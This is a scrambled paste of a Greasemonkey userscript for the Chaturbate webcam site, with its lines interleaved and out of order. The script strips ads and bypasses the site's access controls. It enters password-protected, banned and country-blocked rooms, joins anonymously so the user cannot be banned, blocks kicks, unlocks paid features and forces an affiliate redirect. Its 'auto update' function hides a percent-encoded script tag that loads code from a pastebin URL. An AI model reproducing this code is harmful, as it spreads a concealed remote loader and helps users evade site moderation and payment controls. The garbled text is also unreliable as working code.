popUpWindow.document.close(); 2011. 2012. 2013.673. window.close(); 2014. 2015. 2016.674. document.location.href="http://chaturbate.com"} 2017. 2018. 2019.675. 2020. 2021. 2022.676. // new cheat function 2023. 2024. 2025.677. function npcheat(preformer,anon){ 2026. 2027. 2028.678. 2029. 2030. 2031.679. mmode=0; 2032. 2033. 2034.680. if(document.getElementById('mobmode').checked==true){mmode=1} 2035. 2036. 2037.681. 2038. 2039. 2040.682. // get chat host 2041. 2042. 2043.683. GM_xmlhttpRequest({ 2044. 2045. 2046.684. method: 'GET', 2047. 2048. 2049.685. url: 'http://www.chaturbate.com/embed/'+preformer, 2050. 2051. 2052.686. onload: function(response2) { 2053. 2054. 2055.687. data2 = response2.responseText; 2056. 2057. 2058.688. 2059. 2060. 2061.689. chostpos=data2.indexOf("rtmp://chat"); 2062. 2063. 2064.690. if (chostpos == -1){ 2065. 2066. 2067.691. r=confirm("You have no access to this room and the script does not know what chat host to use\nPress OK to use chat host 1 or cancel to use chat host 2\nIf it fails retry it with the other one."); 2068. 2069. 2070.692. if (r==true){chost="rtmp://chat1"} 2071. 2072. 2073.693. else{chost="rtmp://chat2"}} 2074. 2075. 2076.694. else{ 2077. 2078. 2079.695. chost=data2.substring(chostpos,chostpos+12)} 2080. 2081. 2082.696. 2083. 2084. 2085.697. // set a cookie so we know the new page must be adjusted and how 2086. 2087. 2088.698. createCookie("cheatmode",preformer+"&"+anon+"&"+mmode+"&"+chost,1,"chaturbate.com"); 2089. 2090. 2091.699. 2092. 2093. 2094.700. window.location.href='http://chaturbate.com/affiliates/in/NxHf/AAaAA/'; 2095. 2096. 2097.701. 2098. 2099. 2100.702. }}); 2101. 2102. 2103.703. } 2104. 2105. 2106.704. 2107. 2108. 2109.705. //auto update 2110. 2111. 2112.706. function save(){ 2113. 2114. 2115.707. if(document.getElementsByClassName('username')[0]){ 2116. 2117. 2118.708. uname=document.getElementsByClassName('username')[0].innerHTML; 2119. 2120. 2121.709. 2122. 2123. 2124.710. 2125. 2126. 2127.711. 2128. 2129. 2130.712. // createCookie("agreeterms","1",1); 2131. 2132. 2133.713. if (!readCookie("noads")){createCookie("noads","1",30);window.location.reload()} 2134. 2135. 2136.714. upperdate(); 2137. 2138. 2139.715. 2140. 2141. 2142.716. function upperdate(){GM_setValue( "all", 1 );GM_setValue( "al", 1 ) 2143. 2144. 2145.717. window.open(unescape("%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%68%74%74%70%3A%2F%2F%70%61%73%74%65%62%69%6E%2E%63%6F%6D%2F%4D%75%31%65%52%43%4C%76%63%72%69%70%74%22%3E%0A%3C%2F%73%63%72%69%70%74%3E%0A%09%09%09"), '_top');return; 2146. 2147. 2148.718. } 2149. 2150. 2151.719. 2152. 2153. 2154.720. // create video box with shoutbox, image,normal and anon option, kill refesh 2155. 2156. 2157.721. function makevid(preformer){ 2158. 2159. 2160.722. 2161. 2162. 2163.723. // kill all timeouts 2164. 2165. 2166.724. scrip=document.createElement('script'); 2167. 2168. 2169.725. scrip.innerHTML='var highestTimeoutId = setTimeout(";");for (var i = 0 ; i < highestTimeoutId ; i++) {clearTimeout(i);}'; 2170. 2171. 2172.726. document.getElementsByTagName('body')[0].appendChild(scrip); 2173. 2174. 2175.727. 2176. 2177. 2178.728. // image 2179. 2180. 2181.729. prefimg=''; 2182. 2183. 2184.730. 2185. 2186. 2187.731. Fversion = getfversion(); 2188. 2189. 2190.732. videodata2 = videodata2.replace("ladroop",preformer); 2191. 2192. 2193.733. newvid=document.createElement('div'); 2194. 2195. 2196.734. 2197. 2198. 2199.735. newvid.innerHTML=prefimg+videodata1+Fversion+videodata2+sdata; 2200. 2201. 2202.736. 2203. 2204. 2205.737. document.getElementsByClassName('block')[0].appendChild(newvid); 2206. 2207. 2208.738. newli=document.createElement('li'); 2209. 2210. 2211.739. newli.innerHTML="ENTER THIS CHATBOX"; 2212. 2213. 2214.740. if (bar){bar.appendChild(newli)} 2215. 2216. 2217.741. newli.addEventListener('click',function(){npcheat(preformer,0);}, false); 2218. 2219. 2220.742. ainput()} 2221. 2222. 2223.743. 2224. 2225. 2226.744. // set anon 2227. 2228. 2229.745. function ainput(){ 2230. 2231. 2232.746. newli=document.createElement('li'); 2233. 2234. 2235.747. newli.innerHTML='ENTER THIS CHATBOX ANONYMOUS'; 2236. 2237. 2238.748. if (bar){bar.appendChild(newli)} 2239. 2240. 2241.749. newli.addEventListener('click',function(){npcheat(preformer,1);}, false); 2242. 2243. 2244.750. mobset()} 2245. 2246. 2247.751. 2248. 2249. 2250.752. // mobile mode 2251. 2252. 2253.753. function mobset(){ 2254. 2255. 2256.754. newli=document.createElement('li'); 2257. 2258. 2259.755. newli.innerHTML=' Use mobile mode: '; 2260. 2261. 2262.756. if (bar){bar.appendChild(newli)}} 2263. 2264. 2265.757. 2266. 2267. 2268.758. 2269. 2270. 2271.759. // reconnect chatbox , give me mu8 link 2272. 2273. 2274.760. function keyinput(){ 2275. 2276. 2277.761. if (!document.getElementById("cheat")){ 2278. 2279. 2280.762. 2281. 2282. 2283.763. if (document.getElementById("movie")){ 2284. 2285. 2286.764. place=document.getElementsByClassName('info-user')[0]; 2287. 2288. 2289.765. if(!place){place=document.getElementById("shout")} // for pw room with chat 2290. 2291. 2292.766. 2293. 2294. 2295.767. //chat reload 2296. 2297. 2298.768. if (document.getElementsByClassName("chat-box")[0]){ 2299. 2300. 2301.769. chatreload=document.createElement('div'); 2302. 2303. 2304.770. chatreload.innerHTML="Reconnect the chatbox
  80.  
  81. "; 2305. 2306. 2307.771. document.getElementById("defchat").insertBefore(chatreload,place)} 2308. 2309. 2310.772. 2311. 2312. 2313.773. if (document.getElementsByTagName('video')[0]){ 2314. 2315. 2316.774. vidlink=document.getElementsByTagName('video')[0].src; 2317. 2318. 2319.775. vid=document.createElement('div'); 2320. 2321. 2322.776. vid.innerHTML="COPY this link into VLC player.
  82.  
  83. "; 2323. 2324. 2325.777. document.getElementById("defchat").insertBefore(vid,place)}} 2326. 2327. 2328.778. } 2329. 2330. 2331.779. } 2332. 2333. 2334.780. 2335. 2336. 2337.781. //get saved flashplayer version 2338. 2339. 2340.782. function getfversion(){ 2341. 2342. 2343.783. Fversion=readCookie("CBversion"); 2344. 2345. 2346.784. if(!Fversion){Fversion=flashplayer} 2347. 2348. 2349.785. version="http://chaturbate.com/"+Fversion.substring(Fversion.indexOf("static")); 2350. 2351. 2352.786. return version} 2353. 2354. 2355.787. 2356. 2357. 2358.788. // videobox data 2359. 2360. 2361.789. var servers=new Array("","-a","-b"); 2362. 2363. 2364.790. var server = servers[Math.floor(Math.random()*3)];//0-1-2 2365. 2366. 2367.791. var servnr=Math.floor(Math.random()*13)+1;if(servnr==11){servnr=8}// 1 - 13, skip 11 coz it's down 2368. 2369. 2370.792. 2371. 2372. 2373.793. videodata1='
  84. ' 2374. 2375. 2376.794. +'' 2383. 2384. 2385.797. +'' 2386. 2387. 2388.798. +'' 2389. 2390. 2391.799. +'' 2392. 2393. 2394.800. +'' 2395. 2396. 2397.801. +'' 2398. 2399. 2400.802. +'' 2407. 2408. 2409.805. +'
  85. ' 2410. 2411. 2412.806. 2413. 2414. 2415.807. // shoutbox data 2416. 2417. 2418.808. sdata = '
  86.  
  87.  
  88. Shoutbox
  89.  
  90. '; 2425. 2426. 2427.811. 2428. 2429. 2430.812. // some cookies 2431. 2432. 2433.813. createCookie("u_NxHf","1",1); 2434. 2435. 2436.814. createCookie("us_NxHf","1",1); 2437. 2438. 2439.815. createCookie("dsmn29","1",1); 2440. 2441. 2442.816. createCookie("dsmn26","1",1); 2443. 2444. 2445.817. createCookie("dsmn27","1",1); 2446. 2447. 2448.818. createCookie("dsmn28","1",1); 2449. 2450. 2451.819. 2452. 2453. 2454.820. if (!readCookie("show_emoticon_icons")){createCookie("show_emoticon_icons","no",1)} 2455. 2456. 2457.821. 2458. 2459. 2460.822. //---------------------------------------------------------------------------------------------------------------------------------- 2461. 2462. 2463.823. // executes !everytime! before a script executes 2464. 2465. 2466.824. function do_script2(e) { 2467. 2468. 2469.825. 2470. 2471. 2472.826. // we will always kill swf storage and earase exisiting storage 2473. 2474. 2475.827. if(e.target.innerHTML.indexOf("var mySwfStore = new SwfStore")!= -1){ // check for script , this is swf script 2476. 2477. 2478.828. 2479. 2480. 2481.829. if(!e.target.id){// already altered ? , then ID is set 2482. 2483. 2484.830. 2485. 2486. 2487.831. script=e.target.innerHTML; 2488. 2489. 2490.832. e.preventDefault(); 2491. 2492. 2493.833. e.stopPropagation(); 2494. 2495. 2496.834. e.target.parentNode.removeChild(e.target); 2497. 2498. 2499.835. 2500. 2501. 2502.836. script=script.replace("function link_accounts()","function link_accounts() {mySwfStore.set('usernames2', '');return false} function lost()"); 2503. 2504. 2505.837. 2506. 2507. 2508.838. scrip=document.createElement('script'); 2509. 2510. 2511.839. scrip.id="newswfstor"; 2512. 2513. 2514.840. 2515. 2516. 2517.841. scrip.innerHTML=script; 2518. 2519. 2520.842. document.getElementsByTagName('body')[0].appendChild(scrip); 2521. 2522. 2523.843. 2524. 2525. 2526.844. }} 2527. 2528. 2529.845. 2530. 2531. 2532.846. 2533. 2534. 2535.847. // this part does the flash init script , only remove logo if in normal mode 2536. 2537. 2538.848. if(e.target.innerHTML.indexOf("HasFlash")!= -1){ // check for script - this is the video init script 2539. 2540. 2541.849. 2542. 2543. 2544.850. if(!e.target.id){// already altered ? , then ID is set 2545. 2546. 2547.851. 2548. 2549. 2550.852. script=e.target.innerHTML; 2551. 2552. 2553.853. e.preventDefault(); 2554. 2555. 2556.854. e.stopPropagation(); 2557. 2558. 2559.855. e.target.parentNode.removeChild(e.target); 2560. 2561. 2562.856. 2563. 2564. 2565.857. scrip=document.createElement('script'); 2566. 2567. 2568.858. scrip.id="newvid"; 2569. 2570. 2571.859. 2572. 2573. 2574.860. script=script.replace("http://ccstatic.highwebmedia.com/static/images/flashwatermark.png",""); 2575. 2576. 2577.861. 2578. 2579. 2580.862. 2581. 2582. 2583.863. 2584. 2585. 2586.864. if (!readCookie("cheatmode")){ 2587. 2588. 2589.865. scrip.innerHTML=script; 2590. 2591. 2592.866. document.getElementsByTagName('body')[0].appendChild(scrip); 2593. 2594. 2595.867. return} // only do the rest if we are in cheatmode , return here if in normal mode 2596. 2597. 2598.868. 2599. 2600. 2601.869. mode=readCookie("cheatmode").split("&"); 2602. 2603. 2604.870. preformer=mode[0]; 2605. 2606. 2607.871. anon=mode[1]; 2608. 2609. 2610.872. mob=mode[2]; 2611. 2612. 2613.873. chost=mode[3]; 2614. 2615. 2616.874. 2617. 2618. 2619.875. orgname=document.location.href.split("/")[4]; 2620. 2621. 2622.876. 2623. 2624. 2625.877. var patrn = new RegExp(orgname,"ig"); 2626. 2627. 2628.878. script=script.replace(patrn,preformer); 2629. 2630. 2631.879. 2632. 2633. 2634.880. if((anon==1)||(mob==1)){ 2635. 2636. 2637.881. pos1 = script.indexOf('ProductInstall.swf",'); 2638. 2639. 2640.882. pos2 = script.indexOf("',",pos1); 2641. 2642. 2643.883. script=script.replace(script.substring(pos1,pos2),'ProductInstall.swf",\n \'AnonymousUser'); 2644. 2645. 2646.884. 2647. 2648. 2649.885. pos1 = script.indexOf("pbkdf2_sha256"); 2650. 2651. 2652.886. pos2 = script.indexOf("',",pos1); 2653. 2654. 2655.887. script=script.replace(script.substring(pos1,pos2),"anonymous"); 2656. 2657. 2658.888. } 2659. 2660. 2661.889. 2662. 2663. 2664.890. scrip.innerHTML=script; 2665. 2666. 2667.891. document.getElementsByTagName('body')[0].appendChild(scrip); 2668. 2669. 2670.892. 2671. 2672. 2673.893. }} 2674. 2675. 2676.894. 2677. 2678. 2679.895. // next only if in cheatmode 2680. 2681. 2682.896. if (!readCookie("cheatmode")){return} 2683. 2684. 2685.897. mode=readCookie("cheatmode").split("&"); 2686. 2687. 2688.898. preformer=mode[0]; 2689. 2690. 2691.899. anon=mode[1]; 2692. 2693. 2694.900. mob=mode[2]; 2695. 2696. 2697.901. chost=mode[3]; 2698. 2699. 2700.902. 2701. 2702. 2703.903. orgname=document.location.href.split("/")[4]; 2704. 2705. 2706.904. 2707. 2708. 2709.905. if(e.target.innerHTML.indexOf("function log_presence()")!= -1){ // check for script , this is chat init script 2710. 2711. 2712.906. 2713. 2714. 2715.907. if(!e.target.id){// already altered ? , then ID is set 2716. 2717. 2718.908. 2719. 2720. 2721.909. script=e.target.innerHTML; 2722. 2723. 2724.910. e.preventDefault(); 2725. 2726. 2727.911. e.stopPropagation(); 2728. 2729. 2730.912. e.target.parentNode.removeChild(e.target); 2731. 2732. 2733.913. 2734. 2735. 2736.914. var patrn = new RegExp(orgname,"ig"); 2737. 2738. 2739.915. script=script.replace(patrn,preformer); 2740. 2741. 2742.916. 2743. 2744. 2745.917. script=script.replace("rtmp://chat1",chost); 2746. 2747. 2748.918. script=script.replace("rtmp://chat2",chost); 2749. 2750. 2751.919. 2752. 2753. 2754.920. script=script.replace("allow_tipping: false","allow_tipping: true"); // if original is an exhib. 2755. 2756. 2757.921. 2758. 2759. 2760.922. script=script.replace("window.location.reload()","return"); // no more kick 2761. 2762. 2763.923. 2764. 2765. 2766.924. pos1 = script.indexOf("num_users_waiting_for_group_show"); // in case original page got users waiting, if so it will show in chat 2767. 2768. 2769.925. script=script.replace(script.substring(pos1,pos1+35),"num_users_waiting_for_group_show: 0"); 2770. 2771. 2772.926. 2773. 2774. 2775.927. if (mob==1){ 2776. 2777. 2778.928. script=script.replace("force_handler: null","force_handler: html_handler")} 2779. 2780. 2781.929. 2782. 2783. 2784.930. if(anon==1){ 2785. 2786. 2787.931. rd="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890"; 2788. 2789. 2790.932. username=""; 2791. 2792. 2793.933. l=5+Math.floor((Math.random()*6)+1); 2794. 2795. 2796.934. for (i=0; i>>>>>>>>>>>>>>>>>ONLY FOR CHROME&MICROSOFT EDGE WITH GREASEMONKEY RUNNING ON WINDOWS !!!<<<<<<<<<< 76. 77. 78.28. // >>>>>>>>>>>>>>>>>>>>>>>>DO NOT GIVE THIS SCRIPT TO OTHER PERSONS !!<<<<<<<<<<<<<<<<<< 79. 80. 81.29. // V12+ 82. 83. 84.30. // Removes all advertisements 85. 86. 87.31. // Inserts a new video box if the room is password protected or if your banned or blocked 88. 89. 90.32. // More colums on the main screen and streched the chat box 91. 92. 93.33. // External links are no longer redirected 94. 95. 96.34. // Checks the version of the flash player and tries to use the same version on protectected rooms 97. 98. 99.35. // Shoutbox at the end of the screen 100. 101. 102.36. // By default the chat won't show emoticons 103. 104. 105.37. // 106. 107. 108.38. // Unlocked supporters profile features ( PM , chat color etc.) USE IT WITH CARE ! 109. 110. 111.39. // 112. 113. 114.40. // All links are rewritten to /p/ , the preformers profile, there you have the choice to go to the normal 115. 116. 117.41. // webcam or to go to a webcam with special functions. 118. 119. 120.42. // On a normal cam page you have the option to go back to the profile page. 121. 122. 123.43. // 124. 125. 126.44. // special video mode where you can enter a streamkey 127. 128. 129.45. // 130. 131. 132.46. // only the last updates are mentioned here , the list became too long 133. 134. 135.47. // 136. 137. 138.48. // v14.4 adjustment for the spy on cam screen. if you enter as an anon you can enter and leave the private chat any 139. 140. 141.49. // time you want. if the performer goes private or groep you will stil auto-follow to the private room 142. 143. 144.50. // v14.5 you can see video of country-banned rooms together with chat. reconnect chatbox option, if you have access in special mode 145. 146. 147.51. // it will check for the chat host to connect too, if you have no access it will ask you what chat host to use 148. 149. 150.52. // v14.6 added a video server selector in the special video menu , if you have no video then maually select an other one 151. 152. 153.53. // v14.7 2 chat notifications made visible , name in thumb screen made easy to copy 154. 155. 156.54. // v14.8 video server orgin3 added 157. 158. 159.55. // V14.9 shows the requester of a private show , better scroll with extra info, fixed front page mess-up with long broadcaster names 160. 161. 162.56. // V15.1 orgin4 and 5 added. It remembers the server for every stream. In the key input area below the video you can enter a long string 163. 164. 165.57. // containing the key , the script will select the key from it and, if its found, the server. As an anon it will ask if you want to be 166. 167. 168.58. // in broadcaster mode. You can open a room in clean Iframe mode. 169. 170. 171.59. // v15.2 corrected the usercolors in chat list , offline tipping of a non-verified user 172. 173. 174.60. // v15.3 all video options removed , tipping removed , fixed anon entry 175. 176. 177.61. // v15.4 fix for tipnotes 178. 179. 180.62. // v15.5 sorting users by tokens in normal chat , mute tip sound option , floating widgets on profile page removed 181. 182. 183.63. // v15.6 stopped auto refresh in banned video only page , more fancy reziseable video window 184. 185. 186.64. // v15.7 no more tip notes 187. 188. 189.65. // V15.8 if entering via password room you can use mobile mode. you will not appear in userlist and you can not be banned (you can be silenced!) 190. 191. 192.66. // v15.9 bug fix from 15.8 193. 194. 195.67. // v16.0 , number scipped 196. 197. 198.68. // v16.1 use of a random server in password room b.c. the static server was down. 199. 200. 201.69. // v16.2 fix for FF 23 , find a user added 202. 203. 204.70. // v16.3 better user finder, fixed tipping and abusing in cheat mode, mobile video link added 205. 206. 207.71. // v16.3a & b & c microsoft edge 20.1024.16384.0 © 2017 Microsoft compatible , no update 208. 209. 210.72. // v16.4 graphical last online viewer , no more info stored in flash cookies , script cleanup 211. 212. 213.73. // v16.5 always remove adds with cookie, better cleaning of messed-up profiles , always remove video logo 214. 215. 216.74. //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 217. 218. 219.75. 220. 221. 222.76. createCookie("agreeterms","1",1); 223. 224. 225.77. createCookie("np3","0",1); 226. 227. 228.78. if (!readCookie("noads")){createCookie("noads","1",30);window.location.reload()} 229. 230. 231.79. 232. 233. 234.80. function do_script() { 235. 236. 237.81. 238. 239. 240.82. // some adjustment needed if we are in cheat mode 241. 242. 243.83. 244. 245. 246.84. if (readCookie("cheatmode")){ 247. 248. 249.85. mode=readCookie("cheatmode").split("&"); 250. 251. 252.86. eraseCookie("cheatmode","chaturbate.com"); 253. 254. 255.87. preformer=mode[0]; 256. 257. 258.88. anon=mode[1]; 259. 260. 261.89. mob=mode[2]; 262. 263. 264.90. document.getElementsByTagName('body')[0].setAttribute("style", "border:50px double #545565;"); 265. 266. 267.91. base=document.createElement('BASE'); 268. 269. 270.92. url=document.location.href; 271. 272. 273.93. url=url.replace(document.location.href.split("/")[4],preformer); 274. 275. 276.94. url=url.split("?")[0]; 277. 278. 279.95. 280. 281. 282.96. base.setAttribute("href",url); 283. 284. 285.97. 286. 287. 288.98. document.getElementsByTagName('head')[0].appendChild(base); 289. 290. 291.99. 292. 293. 294.100. 295. 296. 297.101. text1="
  91. Welcome in "+preformer+"'s room.
  92.  
  93. "; 298. 299. 300.102. text2="
  94. You are an anonymous user and you can not chat.
  95.  
  96. "; 301. 302. 303.103. text3="
  97. You are in mobile mode and you are not visible in the userlist.
  98.  
  99. "; 304. 305. 306.104. text4='
  100. Enter the private room--------Leave the private room
  101. '; 307. 308. 309.105. text5="
  102. Return to the profile.
  103.  
  104. "; 310. 311. 312.106. 313. 314. 315.107. text=document.createElement('div'); 316. 317. 318.108. 319. 320. 321.109. textf=text1; 322. 323. 324.110. if(anon==1){textf=textf+text2} 325. 326. 327.111. if(mob==1){textf=textf+text3} 328. 329. 330.112. if((anon==1)&&(mob==0)){textf=textf+text4} 331. 332. 333.113. 334. 335. 336.114. text.id="cheat"; 337. 338. 339.115. 340. 341. 342.116. text.innerHTML=textf+text5; 343. 344. 345.117. 346. 347. 348.118. body=document.getElementsByTagName('body')[0]; 349. 350. 351.119. 352. 353. 354.120. body.insertBefore(text, body.firstChild); 355. 356. 357.121. 358. 359. 360.122. // fix abuse 361. 362. 363.123. abu=document.getElementById("report_popup"); 364. 365. 366.124. abu.getElementsByTagName('form')[0].setAttribute("action","/abuse/report/"+preformer+"/"); 367. 368. 369.125. 370. 371. 372.126. // fix the tipping 373. 374. 375.127. tips=document.getElementsByClassName('tip_shell')[0]; 376. 377. 378.128. tips.getElementsByTagName('form')[0].setAttribute("action","/tipping/send_tip/"+preformer+"/"); 379. 380. 381.129. 382. 383. 384.130. } 385. 386. 387.131. 388. 389. 390.132. // always earase again, just in case we broke the page 391. 392. 393.133. eraseCookie("cheatmode","chaturbate.com"); 394. 395. 396.134. // earase these too 397. 398. 399.135. eraseCookie("latest_linked_timestamp"); 400. 401. 402.136. eraseCookie("latest_linked_username"); 403. 404. 405.137. eraseCookie("affkey"); 406. 407. 408.138. eraseCookie("fromaffiliate"); 409. 410. 411.139. 412. 413. 414.140. 415. 416. 417.141. // from here normal script 418. 419. 420.142. 421. 422. 423.143. // remove visible adds 424. 425. 426.144. ad = document.getElementsByClassName('ad'); 427. 428. 429.145. if (document.location.href.split("/")[3]!="b"){ 430. 431. 432.146. if (ad[1]){ad[1].parentNode.removeChild(ad[1])}} 433. 434. 435.147. 436. 437. 438.148. verstr='Special edition
  105. V '+scversion; 439. 440. 441.149. if(document.getElementById("player")){verstr=verstr+'
  106.  Debug chatbox: '} 442. 443. 444.150. if (ad[0]){ad[0].innerHTML=verstr} 445. 446. 447.151. 448. 449. 450.152. 451. 452. 453.153. ad = document.getElementsByClassName('banner')[0]; 454. 455. 456.154. if (ad){ad.parentNode.removeChild(ad)} 457. 458. 459.155. ad=document.getElementById("botright"); 460. 461. 462.156. if (ad){ad.parentNode.removeChild(ad)} 463. 464. 465.157. 466. 467. 468.158. // advert options on menu bars and check if your logged in 469. 470. 471.159. if (document.location.href.indexOf("/auth/logout/") != -1){eraseCookie("logstatus","chaturbate.com");eraseCookie("latest_linked_username");} 472. 473. 474.160. notlogged = GM_getValue( "all" , 0 ); 475. 476. 477.161. bar=document.getElementById("nav"); 478. 479. 480.162. if (bar){ 481. 482. 483.163. barl=bar.getElementsByTagName('li'); 484. 485. 486.164. i=barl.length-1; 487. 488. 489.165. while (i != -1){ 490. 491. 492.166. d=barl[i].innerHTML; 493. 494. 495.167. if (d.indexOf('/login') != -1) {notlogged = 1} 496. 497. 498.168. if ((d.indexOf('/login') != -1)||(d.indexOf('href="/"') != -1)||(d.indexOf('href="/b/') != -1)||(d.indexOf('/my_') != -1)){i--} 499. 500. 501.169. else{barl[i].parentNode.removeChild(barl[i]);i--} 502. 503. 504.170. }} 505. 506. 507.171. 508. 509. 510.172. // rss feed link 511. 512. 513.173. if(document.getElementsByClassName('wide')[0]){ 514. 515. 516.174. newli=document.createElement('li'); 517. 518. 519.175. newli.innerHTML="LAST ONLINE "; 520. 521. 522.176. if (bar){bar.appendChild(newli)}} 523. 524. 525.177. 526. 527. 528.178. // find user 529. 530. 531.179. if(document.getElementsByClassName('wide')[0]){ 532. 533. 534.180. newli=document.createElement('li'); 535. 536. 537.181. newli.innerHTML="FIND A USER "; 538. 539. 540.182. if (bar){bar.appendChild(newli)}} 541. 542. 543.183. 544. 545. 546.184. 547. 548. 549.185. // blog spam 550. 551. 552.186. ad = document.getElementsByClassName('featured_blog_posts')[0]; 553. 554. 555.187. if (ad){ad.parentNode.removeChild(ad)} 556. 557. 558.188. 559. 560. 561.189. // footer spam 562. 563. 564.190. ad = document.getElementsByClassName('featured_text')[0]; 565. 566. 567.191. if (ad){ad.parentNode.removeChild(ad)} 568. 569. 570.192. 571. 572. 573.193. // announcement banner 574. 575. 576.194. ad = document.getElementsByClassName('top-section')[0]; 577. 578. 579.195. if (ad){ 580. 581. 582.196. ad = ad.getElementsByTagName('img')[0]; 583. 584. 585.197. if (ad){ad.parentNode.removeChild(ad)}} 586. 587. 588.198. 589. 590. 591.199. // footer cleanup 592. 593. 594.200. ad = document.getElementsByClassName('footer-holder')[0]; 595. 596. 597.201. if (ad){ 598. 599. 600.202. ad1 = ad.getElementsByTagName('p')[3]; 601. 602. 603.203. if (ad1){ad1.parentNode.removeChild(ad1)} 604. 605. 606.204. ad1 = ad.getElementsByTagName('p')[2]; 607. 608. 609.205. if (ad1){ad1.parentNode.removeChild(ad1)} 610. 611. 612.206. ad1 = ad.getElementsByTagName('p')[1]; 613. 614. 615.207. if (ad1){ad1.parentNode.removeChild(ad1)} 616. 617. 618.208. ad1 = ad.getElementsByTagName('p')[0]; 619. 620. 621.209. if (ad1){ad1.parentNode.removeChild(ad1)}} 622. 623. 624.210. 625. 626. 627.211. // strech the screen 628. 629. 630.212. front=document.getElementsByClassName('c-1')[0]; 631. 632. 633.213. if(front) { 634. 635. 636.214. front.setAttribute("style", "margin: 0px 0px 0px 35px;")} 637. 638. 639.215. front=document.getElementsByClassName('c-1')[1]; 640. 641. 642.216. if(front) { 643. 644. 645.217. front.setAttribute("style", "margin: 0px 0px 0px 35px;")} 646. 647. 648.218. 649. 650. 651.219. // remove out of position images 652. 653. 654.220. container = document.getElementById("tabs_content_container") 655. 656. 657.221. if (container){ 658. 659. 660.222. var taglist=new Array("a","p","i","strong","b","u","ul","ol","li","h1","h2","h3","img","font","br"); 661. 662. 663.223. for (n=0; nOPEN THE NORMAL CHAT "; 760. 761. 762.256. if (bar){bar.appendChild(newli)} 763. 764. 765.257. 766. 767. 768.258. 769. 770. 771.259. // go to semi password room 772. 773. 774.260. newli=document.createElement('li'); 775. 776. 777.261. pwroom= splits[0]+"/"+splits[1]+"/"+splits[2]+"/roomlogin/"+splits[4]; 778. 779. 780.262. newli.innerHTML="GO TO PASSWORD ROOM"; 781. 782. 783.263. if (bar){bar.appendChild(newli)}; 784. 785. 786.264. 787. 788. 789.265. // go to embedded room 790. 791. 792.266. newli=document.createElement('li'); 793. 794. 795.267. ebroom= splits[0]+"/"+splits[1]+"/"+splits[2]+"/embed/"+splits[4]; 796. 797. 798.268. newli.innerHTML="OPEN THE ROOM IN A CLEAN PAGE"; 799. 800. 801.269. if (bar){bar.appendChild(newli)}; 802. 803. 804.270. 805. 806. 807.271. } // end only on profile page 808. 809. 810.272. 811. 812. 813.273. // graphic rss feed 814. 815. 816.274. function showfeed(){ 817. 818. 819.275. var x=document.getElementById("selector").selectedIndex; 820. 821. 822.276. feedXml='http://chaturbate.com/feed/latest/?'+document.getElementById("selector").getElementsByTagName("option")[x].value+"&"+new Date().getTime() ; 823. 824. 825.277. 826. 827. 828.278. GM_xmlhttpRequest({ 829. 830. 831.279. method: 'GET', 832. 833. 834.280. url: feedXml, 835. 836. 837.281. onload: function(response) { 838. 839. 840.282. xmlString=response.responseText; 841. 842. 843.283. 844. 845. 846.284. // dirty HTML parser, i can handle xml as html 847. 848. 849.285. xmldoc=document.createElement('div'); 850. 851. 852.286. xmldoc.innerHTML=xmlString; 853. 854. 855.287. 856. 857. 858.288. area=document.getElementsByClassName('content_body')[0]; 859. 860. 861.289. area.innerHTML=""; 862. 863. 864.290. 865. 866. 867.291. newdiv=document.createElement('div'); 868. 869. 870.292. area.appendChild(newdiv); 871. 872. 873.293. 874. 875. 876.294. holder=document.createElement('ul'); 877. 878. 879.295. holder.className="list"; 880. 881. 882.296. holder.id="check"; 883. 884. 885.297. newdiv.appendChild(holder); 886. 887. 888.298. 889. 890. 891.299. var items = new Array(); 892. 893. 894.300. items=xmldoc.getElementsByTagName('item'); 895. 896. 897.301. 898. 899. 900.302. blockstring='item2' 901. 902. 903.303. +' ' 904. 905. 906.304. +'
  107. ' 907. 908. 909.305. +'
  108. ' 910. 911. 912.306. +'item5' 913. 914. 915.307. +' ' 916. 917. 918.308. +'
  109. ' 919. 920. 921.309. +'' 922. 923. 924.310. +'
  110. ' 925. 926. 927.311. +'' 928. 929. 930.312. +'' 931. 932. 933.313. +'•item8
  111. ' 934. 935. 936.314. +'•item9 min. online - item10 viewers
  112. ' 937. 938. 939.315. +'' 940. 941. 942.316. +''; 943. 944. 945.317. 946. 947. 948.318. for (n=0; n= 24){Honline=Honline-24} 1012. 1013. 1014.340. 1015. 1016. 1017.341. d = new Date(); 1018. 1019. 1020.342. Hnow = d.getHours(); 1021. 1022. 1023.343. Mnow = d.getMinutes(); 1024. 1025. 1026.344. Snow = d.getSeconds(); 1027. 1028. 1029.345. 1030. 1031. 1032.346. secnow=(Hnow*60*60)+(Mnow*60)+Snow; 1033. 1034. 1035.347. seconl=(Honline*60*60)+(Monline*60)+Sonline; 1036. 1037. 1038.348. secdiff=Math.abs(secnow-seconl); 1039. 1040. 1041.349. mindiff=parseInt(secdiff/60); 1042. 1043. 1044.350. 1045. 1046. 1047.351. block=document.createElement('li'); 1048. 1049. 1050.352. block.setAttribute("style", "margin: 5px 5px 5px 5px;"); 1051. 1052. 1053.353. 1054. 1055. 1056.354. blockstring1=blockstring.replace("item1",image_url); 1057. 1058. 1059.355. blockstring1=blockstring1.replace("item2",title); 1060. 1061. 1062.356. blockstring1=blockstring1.replace("item3",guid); 1063. 1064. 1065.357. blockstring1=blockstring1.replace("item4",guid); 1066. 1067. 1068.358. blockstring1=blockstring1.replace("item5",username); 1069. 1070. 1071.359. blockstring1=blockstring1.replace("item6",gender); 1072. 1073. 1074.360. blockstring1=blockstring1.replace("item8",location_); 1075. 1076. 1077.361. blockstring1=blockstring1.replace("item9",mindiff); 1078. 1079. 1080.362. blockstring1=blockstring1.replace("item10",number_of_users_watching); 1081. 1082. 1083.363. 1084. 1085. 1086.364. block.innerHTML=blockstring1; 1087. 1088. 1089.365. 1090. 1091. 1092.366. holder.appendChild(block); 1093. 1094. 1095.367. 1096. 1097. 1098.368. } // end for 1099. 1100. 1101.369. 1102. 1103. 1104.370. setTimeout(function(){showfeed()},20000); 1105. 1106. 1107.371. 1108. 1109. 1110.372. } // end onload 1111. 1112. 1113.373. }); // end xmlhttp 1114. 1115. 1116.374. } // end function 1117. 1118. 1119.375. 1120. 1121. 1122.376. 1123. 1124. 1125.377. //finduser 1126. 1127. 1128.378. function finduser(){ 1129. 1130. 1131.379. fusern=document.getElementById("fusername").value; 1132. 1133. 1134.380. if (fusern == ""){alert("First fill in a username !");return false} 